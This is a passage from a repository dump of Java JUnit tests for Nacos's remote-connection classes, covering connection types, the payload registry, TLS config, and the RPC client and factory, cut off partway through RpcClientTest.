    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass ConnectionTypeTest {\n    \n    @Test\n    void testGetByType() {\n        ConnectionType connectionType = ConnectionType.getByType(\"GRPC\");\n        assertNotNull(connectionType);\n        assertEquals(\"GRPC\", connectionType.getType());\n        assertEquals(\"Grpc Connection\", connectionType.getName());\n    }\n    \n    @Test\n    void testGetByNonExistType() {\n        ConnectionType connectionType = ConnectionType.getByType(\"HTTP\");\n        assertNull(connectionType);\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/PayloadRegistryTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote;\n\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.ErrorResponse;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass PayloadRegistryTest {\n    \n    @BeforeAll\n    static void setUpBefore() {\n        PayloadRegistry.init();\n    }\n    \n    @Test\n    void testRegisterInvalidClass() {\n        PayloadRegistry.register(\"test\", Request.class);\n        assertNull(PayloadRegistry.getClassByType(\"test\"));\n    }\n    \n    @Test\n    void testRegisterDuplicated() {\n        assertThrows(RuntimeException.class, () -> {\n            PayloadRegistry.register(\"ErrorResponse\", ErrorResponse.class);\n        });\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/TlsConfigTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass TlsConfigTest {\n    \n    @Test\n    void testTlsConfig() {\n        TlsConfig tlsConfig = new TlsConfig();\n        assertFalse(tlsConfig.getEnableTls());\n        assertFalse(tlsConfig.getMutualAuthEnable());\n        assertNull(tlsConfig.getProtocols());\n        assertNull(tlsConfig.getCiphers());\n        assertFalse(tlsConfig.getTrustAll());\n        assertNull(tlsConfig.getTrustCollectionCertFile());\n        assertNull(tlsConfig.getCertPrivateKeyPassword());\n        assertNull(tlsConfig.getCertPrivateKey());\n        assertNull(tlsConfig.getCertChainFile());\n        assertEquals(\"\", tlsConfig.getSslProvider());\n        \n        // Set values\n        tlsConfig.setEnableTls(true);\n        tlsConfig.setMutualAuthEnable(true);\n        tlsConfig.setProtocols(\"TLSv1.1,TLSv1.2,TLSv1.3\");\n        tlsConfig.setCiphers(\"cipher1,cipher2\");\n        tlsConfig.setTrustAll(true);\n        tlsConfig.setTrustCollectionCertFile(\"certFile\");\n        tlsConfig.setCertPrivateKeyPassword(\"password\");\n        tlsConfig.setCertPrivateKey(\"privateKey\");\n        tlsConfig.setCertChainFile(\"chainFile\");\n        tlsConfig.setSslProvider(\"OPENSSL\");\n        \n        // Test values\n        assertTrue(tlsConfig.getEnableTls());\n        assertTrue(tlsConfig.getMutualAuthEnable());\n        assertEquals(\"TLSv1.1,TLSv1.2,TLSv1.3\", tlsConfig.getProtocols());\n        assertEquals(\"cipher1,cipher2\", tlsConfig.getCiphers());\n        assertTrue(tlsConfig.getTrustAll());\n        assertEquals(\"certFile\", tlsConfig.getTrustCollectionCertFile());\n        assertEquals(\"password\", tlsConfig.getCertPrivateKeyPassword());\n        assertEquals(\"privateKey\", tlsConfig.getCertPrivateKey());\n        assertEquals(\"chainFile\", tlsConfig.getCertChainFile());\n        assertEquals(\"OPENSSL\", tlsConfig.getSslProvider());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/client/ConnectionTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityStatus;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.RequestCallBack;\nimport com.alibaba.nacos.api.remote.RequestFuture;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConnectionTest {\n    \n    Connection connection;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        connection = new Connection(new RpcClient.ServerInfo(\"127.0.0.1\", 8848)) {\n            @Override\n            public Response request(Request request, long timeoutMills) throws NacosException {\n                return null;\n            }\n            \n            @Override\n            public RequestFuture requestFuture(Request request) throws NacosException {\n                return null;\n            }\n            \n            @Override\n            public void asyncRequest(Request request, RequestCallBack requestCallBack) throws NacosException {\n            }\n            \n            @Override\n            public void close() {\n            }\n        };\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        connection.close();\n    }\n    \n    @Test\n    void testSetConnectionId() {\n        assertNull(connection.getConnectionId());\n        connection.setConnectionId(\"testConnectionId\");\n        assertEquals(\"testConnectionId\", connection.getConnectionId());\n    }\n    \n    @Test\n    void testGetConnectionAbility() {\n        assertFalse(connection.isAbilitiesSet());\n        assertEquals(AbilityStatus.UNKNOWN, connection.getConnectionAbility(AbilityKey.SDK_CLIENT_FUZZY_WATCH));\n        connection.setAbilityTable(Collections.singletonMap(AbilityKey.SERVER_DISTRIBUTED_LOCK.getName(), true));\n        assertTrue(connection.isAbilitiesSet());\n        assertEquals(AbilityStatus.UNKNOWN, connection.getConnectionAbility(AbilityKey.SDK_CLIENT_FUZZY_WATCH));\n        assertEquals(AbilityStatus.SUPPORTED, connection.getConnectionAbility(AbilityKey.SERVER_DISTRIBUTED_LOCK));\n        connection.setAbilityTable(Collections.singletonMap(AbilityKey.SERVER_DISTRIBUTED_LOCK.getName(), false));\n        assertEquals(AbilityStatus.NOT_SUPPORTED, connection.getConnectionAbility(AbilityKey.SERVER_DISTRIBUTED_LOCK));\n    }\n    \n    @Test\n    void testSetAbandon() {\n        assertFalse(connection.isAbandon());\n        connection.setAbandon(true);\n        assertTrue(connection.isAbandon());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/client/RpcClientConfigFactoryTest.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcClientConfig;\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcConstants;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\n/**\n * RpcClientConfigFactory.\n *\n * @author Nacos\n */\npublic class RpcClientConfigFactoryTest {\n    \n    private RpcClientConfigFactory factory;\n    \n    @BeforeEach\n    void setUp() {\n        factory = RpcClientConfigFactory.getInstance();\n    }\n    \n    @Test\n    void testGetInstanceSingletonPattern() {\n        RpcClientConfigFactory instance1 = RpcClientConfigFactory.getInstance();\n        RpcClientConfigFactory instance2 = RpcClientConfigFactory.getInstance();\n        assertEquals(instance1, instance2);\n    }\n    \n    @Test\n    void testCreateGrpcClientConfig() {\n        Properties properties = new Properties();\n        properties.setProperty(GrpcConstants.GRPC_NAME, \"testClient\");\n        properties.setProperty(GrpcConstants.GRPC_CHANNEL_CAPABILITY_NEGOTIATION_TIMEOUT, \"1000\");\n        properties.setProperty(GrpcConstants.GRPC_CHANNEL_KEEP_ALIVE_TIME, \"60\");\n        properties.setProperty(GrpcConstants.GRPC_CHANNEL_KEEP_ALIVE_TIMEOUT, \"300\");\n        properties.setProperty(GrpcConstants.GRPC_CONNECT_KEEP_ALIVE_TIME, \"120\");\n        properties.setProperty(GrpcConstants.GRPC_HEALTHCHECK_RETRY_TIMES, \"3\");\n        properties.setProperty(GrpcConstants.GRPC_HEALTHCHECK_TIMEOUT, \"500\");\n        properties.setProperty(GrpcConstants.GRPC_MAX_INBOUND_MESSAGE_SIZE, \"1024\");\n        properties.setProperty(GrpcConstants.GRPC_RETRY_TIMES, \"5\");\n        properties.setProperty(GrpcConstants.GRPC_SERVER_CHECK_TIMEOUT, \"1000\");\n        properties.setProperty(GrpcConstants.GRPC_THREADPOOL_CORE_SIZE, \"10\");\n        properties.setProperty(GrpcConstants.GRPC_THREADPOOL_KEEPALIVETIME, \"60\");\n        properties.setProperty(GrpcConstants.GRPC_THREADPOOL_MAX_SIZE, \"20\");\n        properties.setProperty(GrpcConstants.GRPC_QUEUESIZE, \"100\");\n        properties.setProperty(GrpcConstants.GRPC_TIMEOUT_MILLS, \"2000\");\n        \n        Map<String, String> labels = new HashMap<>();\n        labels.put(\"labelKey1\", \"labelValue1\");\n        labels.put(\"labelKey2\", \"labelValue2\");\n        labels.put(\"tls.enable\", \"false\");\n        \n        GrpcClientConfig config = factory.createGrpcClientConfig(properties, labels);\n        \n        assertEquals(labels, config.labels());\n        assertEquals(1000, config.capabilityNegotiationTimeout());\n        assertEquals(60, config.channelKeepAlive());\n        assertEquals(300, config.channelKeepAliveTimeout());\n        assertEquals(120, config.connectionKeepAlive());\n        assertEquals(3, config.healthCheckRetryTimes());\n        assertEquals(500, config.healthCheckTimeOut());\n        assertEquals(1024, config.maxInboundMessageSize());\n        assertEquals(\"testClient\", config.name());\n        assertEquals(5, config.retryTimes());\n        assertEquals(1000, config.serverCheckTimeOut());\n        assertEquals(10, config.threadPoolCoreSize());\n        assertEquals(60, config.threadPoolKeepAlive());\n        assertEquals(20, config.threadPoolMaxSize());\n        assertEquals(100, config.threadPoolQueueSize());\n        assertEquals(2000, config.timeOutMills());\n    }\n    \n    @Test\n    void testDefaultGrpcClientConfig() {\n        Properties properties = new Properties();\n        Map<String, String> labels = new HashMap<>();\n        labels.put(\"tls.enable\", \"false\");\n        GrpcClientConfig config = factory.createGrpcClientConfig(properties, labels);\n        \n        assertEquals(labels, config.labels());\n        assertEquals(5000, config.capabilityNegotiationTimeout());\n        assertEquals(360000, config.channelKeepAlive()); // 6 * 60 * 1000\n        assertEquals(20000, config.channelKeepAliveTimeout()); // TimeUnit.SECONDS.toMillis(20L)\n        assertEquals(5000, config.connectionKeepAlive());\n        assertEquals(3, config.healthCheckRetryTimes());\n        assertEquals(3000, config.healthCheckTimeOut());\n        assertEquals(10485760, config.maxInboundMessageSize()); // 10 * 1024 * 1024\n        assertEquals(null, config.name());\n        assertEquals(3, config.retryTimes());\n        assertEquals(3000, config.serverCheckTimeOut());\n        assertEquals(ThreadUtils.getSuitableThreadCount(2), config.threadPoolCoreSize());\n        assertEquals(10000, config.threadPoolKeepAlive());\n        assertEquals(ThreadUtils.getSuitableThreadCount(8), config.threadPoolMaxSize());\n        assertEquals(10000, config.threadPoolQueueSize());\n        assertEquals(3000, config.timeOutMills());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/client/RpcClientFactoryTest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.remote.ConnectionType;\nimport com.alibaba.nacos.common.remote.client.grpc.DefaultGrpcClientConfig;\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcClientConfig;\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcClusterClient;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Modifier;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\n\n@ExtendWith(MockitoExtension.class)\nclass RpcClientFactoryTest {\n    \n    static Field clientMapField;\n    \n    @Mock\n    RpcClient rpcClient;\n    \n    @Mock(lenient = true)\n    RpcClientTlsConfig clusterClientTlsConfig;\n    \n    @Mock(lenient = true)\n    RpcClientTlsConfig rpcClientTlsConfig;\n    \n    @BeforeAll\n    static void setUpBeforeClass()\n            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {\n        clientMapField = RpcClientFactory.class.getDeclaredField(\"CLIENT_MAP\");\n        clientMapField.setAccessible(true);\n        Method getDeclaredFields0 = Class.class.getDeclaredMethod(\"getDeclaredFields0\", boolean.class);\n        getDeclaredFields0.setAccessible(true);\n        Field[] fields = (Field[]) getDeclaredFields0.invoke(Field.class, false);\n        Field modifiersField1 = null;\n        for (Field each : fields) {\n            if (\"modifiers\".equals(each.getName())) {\n                modifiersField1 = each;\n            }\n        }\n        if (modifiersField1 != null) {\n            modifiersField1.setAccessible(true);\n            modifiersField1.setInt(clientMapField, clientMapField.getModifiers() & ~Modifier.FINAL);\n        }\n    }\n    \n    @AfterEach\n    void tearDown() throws IllegalAccessException {\n        clientMapField.set(null, new ConcurrentHashMap<>());\n    }\n    \n    @Test\n    void testGetAllClientEntries() throws IllegalAccessException {\n        assertTrue(RpcClientFactory.getAllClientEntries().isEmpty());\n        \n        clientMapField.set(null, Collections.singletonMap(\"testClient\", rpcClient));\n        assertEquals(1, RpcClientFactory.getAllClientEntries().size());\n    }\n    \n    @Test\n    void testDestroyClientWhenClientExistThenRemoveAndShutDownRpcClient() throws IllegalAccessException, NacosException {\n        clientMapField.set(null, new ConcurrentHashMap<>(Collections.singletonMap(\"testClient\", rpcClient)));\n        \n        RpcClientFactory.destroyClient(\"testClient\");\n        \n        assertTrue(RpcClientFactory.getAllClientEntries().isEmpty());\n        verify(rpcClient).shutdown();\n    }\n    \n    @Test\n    void testDestroyClientWhenClientNotExistThenDoNothing() throws IllegalAccessException, NacosException {\n        clientMapField.set(null, new ConcurrentHashMap<>(Collections.singletonMap(\"testClient\", rpcClient)));\n        \n        RpcClientFactory.destroyClient(\"notExistClientName\");\n        \n        Map.Entry<String, RpcClient> element = CollectionUtils.getOnlyElement(RpcClientFactory.getAllClientEntries());\n        assertEquals(\"testClient\", element.getKey());\n        assertEquals(rpcClient, element.getValue());\n        verify(rpcClient, times(0)).shutdown();\n    }\n    \n    @Test\n    void testGetClient() throws IllegalAccessException {\n        // may be null\n        assertNull(RpcClientFactory.getClient(\"notExistClientName\"));\n        \n        clientMapField.set(null, new ConcurrentHashMap<>(Collections.singletonMap(\"testClient\", rpcClient)));\n        assertEquals(rpcClient, RpcClientFactory.getClient(\"testClient\"));\n    }\n    \n    @Test\n    void testCreateClientWhenNotCreatedThenCreate() {\n        RpcClient client = RpcClientFactory.createClient(\"testClient\", ConnectionType.GRPC,\n                Collections.singletonMap(\"labelKey\", \"labelValue\"));\n        Map<String, String> labesMap = new HashMap<>();\n        labesMap.put(\"labelKey\", \"labelValue\");\n        labesMap.put(\"tls.enable\", \"false\");\n        assertEquals(labesMap, client.rpcClientConfig.labels());\n        assertEquals(ConnectionType.GRPC, client.getConnectionType());\n        assertEquals(\"testClient\", CollectionUtils.getOnlyElement(RpcClientFactory.getAllClientEntries()).getKey());\n    }\n    \n    @Test\n    void testCreateClientWhenAlreadyCreatedThenNotCreateAgain() {\n        RpcClient client1 = RpcClientFactory.createClient(\"testClient\", ConnectionType.GRPC,\n                Collections.singletonMap(\"labelKey\", \"labelValue\"));\n        RpcClient client2 = RpcClientFactory.createClient(\"testClient\", ConnectionType.GRPC,\n                Collections.singletonMap(\"labelKey\", \"labelValue\"));\n        \n        assertEquals(client1, client2);\n        assertEquals(1, RpcClientFactory.getAllClientEntries().size());\n    }\n    \n    @Test\n    void testCreatedClientWhenConnectionTypeNotMappingThenThrowException() {\n        assertThrows(Exception.class, () -> {\n            RpcClientFactory.createClient(\"testClient\", mock(ConnectionType.class),\n                    Collections.singletonMap(\"labelKey\", \"labelValue\"));\n        });\n    }\n    \n    @Test\n    void testCreateClusterClientWhenNotCreatedThenCreate() {\n        RpcClient client = RpcClientFactory.createClusterClient(\"testClient\", ConnectionType.GRPC,\n                Collections.singletonMap(\"labelKey\", \"labelValue\"));\n        Map<String, String> labesMap = new HashMap<>();\n        labesMap.put(\"labelKey\", \"labelValue\");\n        labesMap.put(\"tls.enable\", \"false\");\n        assertEquals(labesMap, client.rpcClientConfig.labels());\n        assertEquals(ConnectionType.GRPC, client.getConnectionType());\n        assertEquals(\"testClient\", CollectionUtils.getOnlyElement(RpcClientFactory.getAllClientEntries()).getKey());\n    }\n    \n    @Test\n    void testCreateClusterClientWhenAlreadyCreatedThenNotCreateAgain() {\n        RpcClient client1 = RpcClientFactory.createClusterClient(\"testClient\", ConnectionType.GRPC,\n                Collections.singletonMap(\"labelKey\", \"labelValue\"));\n        RpcClient client2 = RpcClientFactory.createClusterClient(\"testClient\", ConnectionType.GRPC,\n                Collections.singletonMap(\"labelKey\", \"labelValue\"));\n        \n        assertEquals(client1, client2);\n        assertEquals(1, RpcClientFactory.getAllClientEntries().size());\n    }\n    \n    @Test\n    void testCreatedClusterClientWhenConnectionTypeNotMappingThenThrowException() {\n        assertThrows(Exception.class, () -> {\n            RpcClientFactory.createClusterClient(\"testClient\", mock(ConnectionType.class),\n                    Collections.singletonMap(\"labelKey\", \"labelValue\"));\n        });\n    }\n    \n    @Test\n    void testCreateClusterClientTsl() {\n        Mockito.when(clusterClientTlsConfig.getEnableTls()).thenReturn(true);\n        RpcClient client = RpcClientFactory.createClusterClient(\"testClient\", ConnectionType.GRPC,\n                Collections.singletonMap(\"labelKey\", \"labelValue\"), clusterClientTlsConfig);\n        Map<String, String> labesMap = new HashMap<>();\n        labesMap.put(\"labelKey\", \"labelValue\");\n        labesMap.put(\"tls.enable\", \"true\");\n        assertEquals(labesMap, client.rpcClientConfig.labels());\n        assertEquals(ConnectionType.GRPC, client.getConnectionType());\n        assertEquals(\"testClient\", CollectionUtils.getOnlyElement(RpcClientFactory.getAllClientEntries()).getKey());\n    }\n    \n    @Test\n    void testCreateClientTsl() {\n        Mockito.when(rpcClientTlsConfig.getEnableTls()).thenReturn(true);\n        RpcClient client = RpcClientFactory.createClient(\"testClient\", ConnectionType.GRPC,\n                Collections.singletonMap(\"labelKey\", \"labelValue\"), rpcClientTlsConfig);\n        Map<String, String> labesMap = new HashMap<>();\n        labesMap.put(\"labelKey\", \"labelValue\");\n        labesMap.put(\"tls.enable\", \"true\");\n        assertEquals(labesMap, client.rpcClientConfig.labels());\n        assertEquals(ConnectionType.GRPC, client.getConnectionType());\n        assertEquals(\"testClient\", CollectionUtils.getOnlyElement(RpcClientFactory.getAllClientEntries()).getKey());\n    }\n    \n    @Test\n    void testCreateClientWithProperties() {\n        Mockito.when(rpcClientTlsConfig.getEnableTls()).thenReturn(true);\n        Properties properties = new Properties();\n        Map<String, String> labels = new HashMap<>();\n        labels.put(\"tls.enable\", \"false\");\n        labels.put(\"labelKey\", \"labelValue\");\n        GrpcClientConfig grpcClientConfig = RpcClientConfigFactory.getInstance()\n                .createGrpcClientConfig(properties, labels);\n        RpcClient testClient = RpcClientFactory.createClient(\"testClient\", ConnectionType.GRPC, grpcClientConfig);\n        assertEquals(testClient.getLabels(), labels);\n        assertEquals(testClient.getConnectionType(), ConnectionType.GRPC);\n        assertEquals(testClient.getName(), \"testClient\");\n    }\n    \n    @Test\n    void testCreateClusterClientWithProperties() {\n        Mockito.when(rpcClientTlsConfig.getEnableTls()).thenReturn(true);\n        Properties properties = new Properties();\n        properties.setProperty(\"nacos.remote.client.grpc.maxinbound.message.size\", \"100000\");\n        Map<String, String> labels = new HashMap<>();\n        labels.put(\"tls.enable\", \"false\");\n        labels.put(\"labelKey\", \"labelValue\");\n        GrpcClientConfig clientConfig = DefaultGrpcClientConfig.newBuilder().buildClusterFromProperties(properties)\n                .setLabels(labels).build();\n        GrpcClusterClient testClient = (GrpcClusterClient) RpcClientFactory.createClusterClient(\"testClient\",\n                ConnectionType.GRPC, clientConfig);\n        assertEquals(testClient.getLabels(), labels);\n        assertEquals(testClient.getConnectionType(), ConnectionType.GRPC);\n        assertEquals(testClient.getName(), \"testClient\");\n        GrpcClientConfig testConfig = (GrpcClientConfig) testClient.rpcClientConfig;\n        assertEquals(testConfig.maxInboundMessageSize(), 100000);\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/client/RpcClientTest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityStatus;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.RequestCallBack;\nimport com.alibaba.nacos.api.remote.request.ClientDetectionRequest;\nimport com.alibaba.nacos.api.remote.request.ConnectResetRequest;\nimport com.alibaba.nacos.api.remote.request.HealthCheckRequest;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.ClientDetectionResponse;\nimport com.alibaba.nacos.api.remote.response.ConnectResetResponse;\nimport com.alibaba.nacos.api.remote.response.ErrorResponse;\nimport com.alibaba.nacos.api.remote.response.HealthCheckResponse;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.common.remote.ConnectionType;\nimport com.alibaba.nacos.common.remote.client.grpc.DefaultGrpcClientConfig;\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcConnection;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.stubbing.Answer;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Modifier;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Queue;\nimport java.util.Random;\nimport java.util.concurrent.BlockingQueue;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicInteger;\nimport java.util.function.Function;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyLong;\nimport static org.mockito.Mockito.atLeastOnce;\nimport static org.mockito.Mockito.doReturn;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.spy;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass RpcClientTest {\n    \n    RpcClient rpcClient;\n    \n    Field serverListFactoryField;\n    \n    Field reconnectionSignalField;\n    \n    Method resolveServerInfoMethod;\n    \n    Method healthCheck;\n    \n    Answer<?> runAsSync;\n    \n    Answer<?> notInvoke;\n    \n    @Mock\n    ServerListFactory serverListFactory;\n    \n    @Mock\n    Connection connection;\n    \n    RpcClientConfig rpcClientConfig;\n    \n    @BeforeEach\n    void setUp() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {\n        rpcClientConfig = spy(new RpcClientConfig() {\n            @Override\n            public String name() {\n                return \"test\";\n            }\n            \n            @Override\n            public int retryTimes() {\n                return 1;\n            }\n            \n            @Override\n            public long timeOutMills() {\n                return 3000L;\n            }\n            \n            @Override\n            public long connectionKeepAlive() {\n                return 5000L;\n            }\n            \n            @Override\n            public int healthCheckRetryTimes() {\n                return 1;\n            }\n            \n            @Override\n            public long healthCheckTimeOut() {\n                return 3000L;\n            }\n            \n            @Override\n            public Map<String, String> labels() {\n                return new HashMap<>();\n            }\n        });\n        rpcClient = spy(new RpcClient(rpcClientConfig) {\n            @Override\n            public ConnectionType getConnectionType() {\n                return null;\n            }\n            \n            @Override\n            public int rpcPortOffset() {\n                return 0;\n            }\n            \n            @Override\n            public Connection connectToServer(ServerInfo serverInfo) {\n                return null;\n            }\n        });\n        \n        serverListFactoryField = RpcClient.class.getDeclaredField(\"serverListFactory\");\n        serverListFactoryField.setAccessible(true);\n        \n        reconnectionSignalField = RpcClient.class.getDeclaredField(\"reconnectionSignal\");\n        reconnectionSignalField.setAccessible(true);\n        \n        Method getDeclaredFields0 = Class.class.getDeclaredMethod(\"getDeclaredFields0\", boolean.class);\n        getDeclaredFields0.setAccessible(true);\n        Field[] fields = (Field[]) getDeclaredFields0.invoke(Field.class, false);\n        Field modifiersField1 = null;\n        for (Field each : fields) {\n            if (\"modifiers\".equals(each.getName())) {\n                modifiersField1 = each;\n            }\n        }\n        if (modifiersField1 != null) {\n            modifiersField1.setAccessible(true);\n            modifiersField1.setInt(reconnectionSignalField, reconnectionSignalField.getModifiers() & ~Modifier.FINAL);\n        }\n        \n        resolveServerInfoMethod = 